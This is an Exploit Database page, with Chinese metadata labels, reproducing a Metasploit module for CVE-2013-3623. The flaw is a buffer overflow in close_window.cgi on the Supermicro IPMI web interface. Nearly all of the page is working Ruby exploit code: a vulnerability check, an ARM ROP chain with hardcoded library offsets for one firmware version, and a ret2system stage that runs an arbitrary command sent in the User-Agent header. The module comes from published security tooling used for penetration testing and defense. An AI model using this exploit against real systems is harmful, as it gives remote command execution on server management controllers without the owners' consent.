Supermicro Onboard IPMI – ‘close_window.cgi’ Remote Buffer Overflow (Metasploit)

• Exploit Database
• 15 阅读

• 作者： Metasploit
  日期： 2013-11-18
• 类别：

  • remote
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/29666/

• ##
  # This module requires Metasploit: http//metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = GoodRanking
  
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'Supermicro Onboard IPMI close_window.cgi Buffer Overflow',
  'Description'=> %q{
  This module exploits a buffer overflow on the Supermicro Onboard IPMI controller web
  interface. The vulnerability exists on the close_window.cgi CGI application, and is due
  to the insecure usage of strcpy. In order to get a session, the module will execute
  system() from libc with an arbitrary CMD payload sent on the User-Agent header. This
  module has been tested successfully on Supermicro Onboard IPMI (X9SCL/X9SCM) with firmware
  SMT_X9_214.
  },
  'Author' =>
  [
  'hdm', # Vulnerability Discovery and Metasploit module
  'juan vazquez' # Metasploit module
  ],
  'License'=> MSF_LICENSE,
  'Payload'=>
  {
  'Space' => 8000, # Payload sent on the user agent, long enough to fit any payload
  'DisableNops' => true,
  'BadChars'=> (0x00..0x1f).to_a.pack("C*"), # not a big deal, we're working with ARCH_CMD payloads
  'Compat'=>
  {
  'PayloadType' => 'cmd',
  'RequiredCmd' => 'generic openssl'
  }
  },
  'Platform' => ['unix'],
  'Arch' => ARCH_CMD,
  'References' =>
  [
  [ 'CVE', '2013-3623' ],
  [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/11/06/supermicro-ipmi-firmware-vulnerabilities' ]
  ],
  'Targets'=>
  [
  [ 'Supermicro Onboard IPMI (X9SCL/X9SCM) with firmware SMT_X9_214',
  {
  :callback => :target_smt_x9_214
  }
  ]
  ],
  'DisclosureDate' => 'Nov 06 2013',
  'DefaultTarget' => 0))
  
  end
  
  def send_close_window_request(sess, agent = rand_text_alpha(8))
  res = send_request_cgi({
  'method' => 'POST',
  'uri' => "/cgi/close_window.cgi",
  'agent' => rand_text_alpha(16) + agent,
  'encode_params' => false,
  'vars_post' => {
  'sess_sid' => sess
  }
  })
  
  return res
  end
  
  
  def check
  safe_check = rand_text_alpha(20)
  trigger_check = rand_text_alpha(132)
  
  res = send_close_window_request(safe_check)
  
  unless res and res.code == 200 and res.body.to_s =~ /Can't find action/
  return Exploit::CheckCode::Unknown
  end
  
  res = send_close_window_request(trigger_check)
  
  unless res and res.code == 500
  return Exploit::CheckCode::Safe
  end
  
  return Exploit::CheckCode::Vulnerable
  end
  
  def target_smt_x9_214
  base_crypt = 0x40074000 # libcrypto.so.0.9.8
  base_libc= 0x40554000 # libc-2.3.5.so
  
  buf =rand_text_alpha(68)
  buf << rand_text_alpha(4)# r10
  buf << rand_text_alpha(4)# r11
  buf << rand_text_alpha(4)# sp
  buf << [base_crypt + 0x39598].pack("V")# pc # mov pc, r4
  # 2nd stage
  buf << "\x68\xd0\x84\xe2"# add sp, r4, 104# make sp point to controlled data in order to accomplish the "ret2system"
  offset = ssl ? 208 : 204 # when ssl there is an additional environment variable "HTTPS=on"
  buf << [offset].pack("C") + "\x50\x84\xe2" # add r5, r4, 204# make r5 point to pointer to envp
  buf << "\x70\x40\xb5\xe8"# ldmfd r5!, {r4, r5, r6, ls}# store on r4 pointer to envp USER_AGENT pointer
  buf << "\x20\x40\x84\xe2"# add r4, r4, 32 # to skip the "HTTP_USER_AGENT=" substring and avoid bachars on emulated environment
  buf << "\x40\x80\xbd\xe8"# ldmfd sp!, {r6, pc}
  buf << rand_text_alpha(4)# R6
  buf << [ base_crypt + 0x3A8BC ].pack("V")# mov r0, r4; ldmfd sp!, {r4,pc} # store in r0 pointer to command
  buf << rand_text_alpha(4)# r4
  buf << [ base_libc + 0x3617c ].pack("V") # system at libc
  buf << rand_text_alpha(128-buf.length) # padding to reach memory which allows to control r4 when overflow occurs
  # 1st stage: adjust r4 and pc
  buf << "\x80\x40\x44\xe2"# sub r4, r4,-128 # make r4 point to the start of the buffer
  buf << "\x54\xf0\x84\xe2"# add pc, r4, 84# give control to 2nd stage
  
  return buf
  end
  
  def exploit
  buffer = self.send(target[:callback])
  print_status("#{peer} - Sending exploit...")
  send_close_window_request(buffer, payload.encoded)
  end
  
  end